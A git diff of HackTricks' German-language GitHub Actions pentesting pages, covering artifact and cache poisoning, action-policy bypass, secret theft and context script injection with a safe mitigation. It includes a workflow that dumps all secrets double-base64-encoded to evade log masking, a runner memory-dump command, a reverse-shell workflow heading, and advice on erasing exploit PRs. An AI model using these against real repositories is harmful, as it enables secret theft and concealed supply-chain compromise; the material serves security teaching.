+Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis entpackt wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
 
-Beispiel für einen verwundbaren Workflow:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -390,35 +393,35 @@ path: ./script.py
 ```
 ---
 
-## Anderer externer Zugriff
+## Weitere externe Zugriffe
 
-### Gelöschte Namespace-Repo-Hijacking
+### Deleted Namespace Repo Hijacking
 
-Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository **weniger als 100 Sterne vor der Namensänderung hatte**, erlaubt Github dem neuen registrierten Benutzer mit demselben Namen, ein **Repository mit demselben Namen** wie das gelöschte zu erstellen.
+Wenn ein Account seinen Namen ändert, kann ein anderer Nutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository vor der Namensänderung **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Nutzer mit demselben Namen, ein **repository with the same name** wie das gelöschte zu erstellen.
 
 > [!CAUTION]
-> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
+> Wenn also eine Action ein Repo von einem nicht existierenden Account verwendet, ist es trotzdem möglich, dass ein Angreifer dieses Konto erstellt und die Action compromise.
 
-Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere Repositories **dependencies from this user repos** verwendeten, kann ein Angreifer sie hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Repo-Pivoting
+## Repo Pivoting
 
 > [!NOTE]
-> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
+> In diesem Abschnitt sprechen wir über Techniken, die es erlauben würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeinen Zugang zum ersten (siehe vorheriger Abschnitt).
 
-### Cache-Poisoning
+### Cache Poisoning
 
-Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
+Ein Cache wird zwischen **workflow runs in the same branch** gehalten. Das bedeutet, dass wenn ein Angreifer ein **compromise** eines **package** erreicht, das dann im Cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Artifact-Poisoning
+### Artifact Poisoning
 
-Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**:
+Workflows können **artifacts from other workflows and even repos** nutzen. Wenn ein Angreifer es schafft, die Github Action zu **compromise**, die ein **uploads an artifact**, das später von einem anderen workflow verwendet wird, könnte er damit **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post-Exploitation von einer Aktion
+## Post-Exploitation von einer Action
 
+### Github Action Policies Bypass
+
+Wie in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein Repository oder eine Organization eine Policy hat, die die Nutzung bestimmter Actions einschränkt, könnte ein Angreifer einfach eine Action innerhalb des workflow herunterladen (`git clone`) und sie dann als lokale Action referenzieren. Da die Policies lokale Pfade nicht betreffen, **die Action wird ohne Einschränkungen ausgeführt.**
+
+Beispiel:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### Zugriff auf AWS und GCP über OIDC
 
-Überprüfen Sie die folgenden Seiten:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Zugriff auf Geheimnisse 
+### Zugriff auf secrets 
 
-Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:
+Wenn du Content in ein Skript injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
 
-- Wenn das Geheimnis oder Token auf eine **Umgebungsvariable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** zugegriffen werden.
+- Wenn das secret oder token als **environment variable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** ausgelesen werden.
 
 

 
-Liste der Geheimnisse in der Github Action-Ausgabe
+secrets in Github Action-Ausgabe auflisten
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 

 
-Erhalte eine Reverse-Shell mit Geheimnissen
+reverse shell mit secrets erhalten
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 

 
-- Wenn das Geheimnis **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
+- For a JavaScript actions the secrets and sent through environment variables
 - ```bash
 ps axe | grep node
 ```
-- Bei einer **benutzerdefinierten Aktion** kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem **Argument** erhalten hat:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,46 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Missbrauch von selbstgehosteten Runnern
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
 
-Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Selbstgehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
+Decode locally:
 
-Bei selbstgehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
+### Missbrauch von Self-hosted runners
+
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+
+**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
+
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Überprüfen Sie [**diesen Beitrag für weitere Informationen**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Siehe [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Github Docker-Image-Registry
 
-Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
-Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:
+Es ist möglich, Github actions zu erstellen, die ein Docker-Image innerhalb von Github **bauen und speichern**. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:
 
 

 
@@ -565,30 +616,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 

 
-Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.
+Wie Sie im vorherigen Code sehen konnten, wird die Github registry auf **`ghcr.io`** gehostet.
 
-Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
+Ein Benutzer mit Lesezugriff auf das repo kann dann das Docker Image mit einem personal access token herunterladen:
 ```bash
 echo $gh_token | docker login ghcr.io -u  --password-stdin
 docker pull ghcr.io//:
 ```
-Dann könnte der Benutzer nach **geleakten Geheimnissen in den Docker-Image-Schichten suchen:**
+Dann könnte der Nutzer nach **leaked secrets in the Docker image layers:** suchen
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Sensible Informationen in Github Actions-Protokollen
+### Sensible Informationen in Github Actions-Logs
 
-Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **erkennen** und **zu vermeiden**, dass sie angezeigt werden, werden **andere sensible Daten**, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Geheimwert signiert ist, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Auch wenn **Github** versucht, **secret values** in den Actions-Logs zu **erkennen** und **nicht anzuzeigen**, werden **andere sensitive Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Secret signiert wurde, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Spuren verwischen
 
-(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zuerst ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub kann man standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für Github-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein **GitHub-Konto suspendiert bekommen** oder dein Konto markieren lassen. Das würde **all deine Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
 
-Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
+Eine Organization auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein paar Sachen“ in einem Issue zu posten, und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspendiert wird :p und voilà — dein Exploit ist auf github unsichtbar.
 
 > [!WARNING]
-> Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
+> Der einzige Weg für eine Organization herauszufinden, dass sie ins Visier genommen wurde, ist, die GitHub-Logs im SIEM zu prüfen, da der PR in der GitHub-UI entfernt würde.
+
+## Quellen
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 36b2591ee..b8008c7fc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
-# Gh Actions - Kontext-Skript-Injektionen
+# Gh Actions - Context Script Injections
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Verständnis des Risikos
+
+GitHub Actions rendert Ausdrücke ${{ ... }} bevor der Schritt ausgeführt wird. Der gerenderte Wert wird in das Programm des Schritts eingefügt (bei run steps, ein Shell-Skript). Wenn du untrusted input direkt innerhalb von run: interpolierst, kontrolliert ein Angreifer Teile des Shell-Programms und kann beliebige Befehle ausführen.
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Wichtige Punkte:
+- Rendering erfolgt vor der Ausführung. Das run script wird mit allen aufgelösten Ausdrücken erzeugt und dann von der Shell ausgeführt.
+- Viele contexts enthalten vom Benutzer kontrollierte Felder, abhängig vom auslösenden Event (issues, PRs, comments, discussions, forks, stars, etc.). Siehe die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell-Quoting innerhalb von run: ist keine zuverlässige Verteidigung, da die injection in der Template-Rendering-Phase erfolgt. Angreifer können aus Anführungszeichen ausbrechen oder Operatoren durch manipulierte Eingaben injizieren.
+
+## Verwundbares Muster → RCE auf dem Runner
+
+Verwundbarer workflow (ausgelöst, wenn jemand ein neues Issue öffnet):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Wenn ein Angreifer ein Issue mit dem Titel $(id) eröffnet, wird der gerenderte Schritt zu:
+```sh
+echo "New issue $(id) created"
+```
+Die Kommando-Substitution führt id auf dem Runner aus. Beispielausgabe:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Warum Quoting dich nicht schützt:
+- Ausdrücke werden zuerst ausgewertet, dann wird das resultierende script ausgeführt. Wenn der nicht vertrauenswürdige Wert $(...), `;`, `"`/`'`, oder Zeilenumbrüche enthält, kann er die Programmstruktur trotz Quoting verändern.
+
+## Sicheres Muster (shell variables via env)
+
+Korrekte Gegenmaßnahme: Kopiere nicht vertrauenswürdige Eingaben in eine Umgebungsvariable und verwende dann die native Shell-Expansion ($VAR) im run script. Verwende ${{ ... }} nicht erneut innerhalb des Befehls.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notes:
+- Verwende ${{ env.TITLE }} nicht innerhalb von run:. Dadurch wird Template-Rendering wieder in den Befehl eingeführt und das gleiche injection risk entsteht.
+- Übergib vorzugsweise nicht vertrauenswürdige Eingaben über ein env:-Mapping und referenziere sie in run: mit $VAR.
+
+## Reader-triggerable surfaces (treat as untrusted)
+
+Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
+- issues, issue_comment
+- discussion, discussion_comment (Organisationen können Diskussionen einschränken)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (gefährlich bei falscher Verwendung, läuft im Kontext des base repo)
+- fork (jeder kann public repos forken)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+Welche spezifischen Felder vom Angreifer kontrolliert sind, hängt vom Event ab. Siehe GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Practical tips
+
+- Minimiere die Verwendung von expressions in run:. Bevorzuge env:-Mapping + $VAR.
+- Wenn du Eingaben transformieren musst, mach das in der Shell mit sicheren Tools (printf %q, jq -r, etc.), ausgehend weiterhin von einer Shell-Variablen.
+- Sei besonders vorsichtig beim Interpolieren von Branch-Namen, PR-Titeln, Benutzernamen, Labels, Diskussionstiteln und PR-Head-Refs in Skripte, Kommandozeilenflags oder Dateipfade.
+- Für wiederverwendbare Workflows und composite actions, wende dasselbe Muster an: auf env mappen und dann $VAR referenzieren.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 52e17e608..a3bd77eed 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,153 +4,153 @@
 
 ## Grundstruktur
 
-Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** besteht darin, ein **Unternehmen** zu besitzen, das **mehrere Organisationen** besitzt, und jede von ihnen kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Unternehmen besitzen möglicherweise nur **eine Organisation und keine Unternehmen**.
+Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** ist, ein **Enterprise** zu besitzen, das **mehrere Organisationen** besitzt, und jede davon kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Unternehmen besitzen möglicherweise nur **eine Organisation und kein Enterprise**.
 
-Aus der Sicht eines Benutzers kann ein **Benutzer** ein **Mitglied** von **verschiedenen Unternehmen und Organisationen** sein. Innerhalb dieser kann der Benutzer **verschiedene Rollen in Unternehmen, Organisationen und Repositories** haben.
+Aus Sicht eines Benutzers kann ein **User** **Mitglied** von **verschiedenen Enterprises und Organisationen** sein. Innerhalb dieser kann der Benutzer **verschiedene Enterprise-, Organisations- und Repository-Rollen** haben.
 
-Darüber hinaus kann ein Benutzer **Teil verschiedener Teams** mit unterschiedlichen Rollen in Unternehmen, Organisationen oder Repositories sein.
+Außerdem kann ein Benutzer **Teil verschiedener Teams** mit unterschiedlichen Enterprise-, Organisations- oder Repository-Rollen sein.
 
-Und schließlich können **Repositories spezielle Schutzmechanismen** haben.
+Und schließlich **können Repositories spezielle Schutzmechanismen** haben.
 
-## Berechtigungen
+## Privilegien
 
-### Unternehmensrollen
+### Enterprise-Rollen
 
-- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zu einem Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
-- **Unternehmensmitglieder**: Mitglieder von Organisationen, die Ihrem Unternehmen gehören, sind ebenfalls **automatisch Mitglieder des Unternehmens**.
+- **Enterprise owner**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Enterprise verwalten, Enterprise-Einstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf Organisationseinstellungen oder -inhalte zugreifen**, es sei denn, sie werden zu Organization owners ernannt oder erhalten direkten Zugriff auf ein repository, das einer Organisation gehört.
+- **Enterprise members**: Mitglieder von Organisationen, die von deinem Enterprise besessen werden, sind **automatisch ebenfalls Mitglieder des Enterprise**.
 
 ### Organisationsrollen
 
 In einer Organisation können Benutzer verschiedene Rollen haben:
 
-- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch nicht auf weniger als zwei Personen in Ihrer Organisation.
-- **Organisationsmitglieder**: Die **Standard**-Nicht-Administrationsrolle für **Personen in einer Organisation** ist das Organisationsmitglied. Standardmäßig haben Organisationsmitglieder **eine Reihe von Berechtigungen**.
-- **Abrechnungsmanager**: Abrechnungsmanager sind Benutzer, die **die Abrechnungseinstellungen für Ihre Organisation verwalten** können, wie z. B. Zahlungsinformationen.
-- **Sicherheitsmanager**: Es ist eine Rolle, die Organisationsinhaber einem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, gibt sie jedem Mitglied des Teams Berechtigungen, um **Sicherheitswarnungen und -einstellungen in Ihrer Organisation zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation zu haben.
-- Wenn Ihre Organisation ein Sicherheitsteam hat, können Sie die Rolle des Sicherheitsmanagers verwenden, um den Mitgliedern des Teams den minimalen Zugriff zu gewähren, den sie für die Organisation benötigen.
-- **Github App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die einer Organisation gehören**, kann ein Inhaber ihnen Berechtigungen als GitHub App-Manager gewähren.
-- **Externe Mitarbeiter**: Ein externer Mitarbeiter ist eine Person, die **Zugriff auf eines oder mehrere Repositories der Organisation hat, aber nicht ausdrücklich Mitglied** der Organisation ist.
+- **Organization owners**: Organization owners haben **vollständigen administrativen Zugriff auf deine Organisation**. Diese Rolle sollte begrenzt werden, jedoch nicht auf weniger als zwei Personen in deiner Organisation.
+- **Organization members**: Die **Standard-**, nicht-administrative Rolle für **Personen in einer Organisation** ist das Organization member. Standardmäßig **haben Organization members eine Reihe von Berechtigungen**.
+- **Billing managers**: Billing managers sind Benutzer, die **die Abrechnungseinstellungen deiner Organisation verwalten** können, z. B. Zahlungsinformationen.
+- **Security Managers**: Es ist eine Rolle, die Organization owners einem beliebigen Team in einer Organisation zuweisen können. Wenn sie angewendet wird, erhalten alle Mitglieder des Teams Berechtigungen, **Security alerts und Einstellungen über deine Organisation hinweg zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation.
+- Wenn deine Organisation ein Sicherheitsteam hat, kannst du die Security Manager-Rolle verwenden, um Mitgliedern des Teams den minimal erforderlichen Zugriff auf die Organisation zu gewähren.
+- **Github App managers**: Um zusätzlichen Benutzern zu erlauben, **GitHub Apps zu verwalten, die einer Organisation gehören**, kann ein Owner ihnen Github App manager-Berechtigungen gewähren.
+- **Outside collaborators**: Ein outside collaborator ist eine Person, die **Zugriff auf ein oder mehrere Organisation-Repositories hat, aber nicht explizit Mitglied der Organisation** ist.
 
-Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Du kannst die **Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Mitgliederberechtigungen
+### Mitglieder-Berechtigungen
 
-In _https://github.com/organizations/\/settings/member_privileges_ können Sie die **Berechtigungen sehen, die Benutzer nur durch ihre Mitgliedschaft in der Organisation haben**.
+In _https://github.com/organizations/\/settings/member_privileges_ kannst du die **Berechtigungen sehen, die Benutzer allein durch die Zugehörigkeit zur Organisation erhalten**.
 
-Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen für Mitglieder der Organisation an:
+Die hier konfigurierten Einstellungen geben folgende Rechte der Mitglieder der Organisation an:
 
-- Admin, Autor, Leser oder keine Berechtigung für alle Repos der Organisation.
+- Admin-, Schreib-, Lese- oder keine Berechtigung für alle Repositories der Organisation.
 - Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
-- Ob das Forken von Repositories möglich ist.
-- Ob externe Mitarbeiter eingeladen werden können.
-- Ob öffentliche oder private Seiten veröffentlicht werden können.
-- Die Berechtigungen, die Administratoren über die Repositories haben.
+- Ob Forking von Repositories möglich ist.
+- Ob es möglich ist, outside collaborators einzuladen.
+- Ob öffentliche oder private Sites veröffentlicht werden können.
+- Die Berechtigungen, die Admins über die Repositories haben.
 - Ob Mitglieder neue Teams erstellen können.
 
 ### Repository-Rollen
 
-Standardmäßig werden Repository-Rollen erstellt:
+Standardmäßig sind folgende repository-Rollen vorhanden:
 
-- **Lesen**: Empfohlen für **Nicht-Code-Beitragsleistende**, die Ihr Projekt ansehen oder diskutieren möchten.
-- **Triage**: Empfohlen für **Beitragsleistende, die Probleme und Pull-Requests proaktiv verwalten müssen**, ohne Schreibzugriff zu haben.
-- **Schreiben**: Empfohlen für Beitragsleistende, die **aktiv zu Ihrem Projekt beitragen**.
-- **Verwalten**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
-- **Admin**: Empfohlen für Personen, die **vollständigen Zugriff auf das Projekt** benötigen, einschließlich sensibler und destruktiver Aktionen wie das Verwalten von Sicherheit oder das Löschen eines Repositories.
+- **Read**: Empfohlen für **Nicht-Code-Beitragende**, die dein Projekt ansehen oder diskutieren möchten.
+- **Triage**: Empfohlen für **Beitragende, die Issues und Pull Requests proaktiv verwalten müssen**, ohne Schreibzugriff.
+- **Write**: Empfohlen für Beitragende, die **aktiv in dein Projekt pushen**.
+- **Maintain**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder zerstörerische Aktionen.
+- **Admin**: Empfohlen für Personen, die **vollen Zugriff auf das Projekt benötigen**, einschließlich sensibler und zerstörerischer Aktionen wie Security-Management oder das Löschen eines Repositories.
 
-Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Du kannst die **Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\/settings/roles_.
+Du kannst auch **eigene Rollen erstellen** in _https://github.com/organizations/\/settings/roles_
 
 ### Teams
 
-Sie können **die in einer Organisation erstellten Teams auflisten** in _https://github.com/orgs/\/teams_. Beachten Sie, dass Sie, um die Teams zu sehen, die Kinder anderer Teams sind, auf jedes übergeordnete Team zugreifen müssen.
+Du kannst die in einer Organisation erstellten Teams unter _https://github.com/orgs/\/teams_ **auflisten**. Beachte, dass du, um die Teams zu sehen, die Kinder anderer Teams sind, jedes übergeordnete Team aufrufen musst.
 
 ### Benutzer
 
-Die Benutzer einer Organisation können in _https://github.com/orgs/\/people_ **aufgelistet** werden.
+Die Benutzer einer Organisation können unter _https://github.com/orgs/\/people_ **aufgelistet** werden.
 
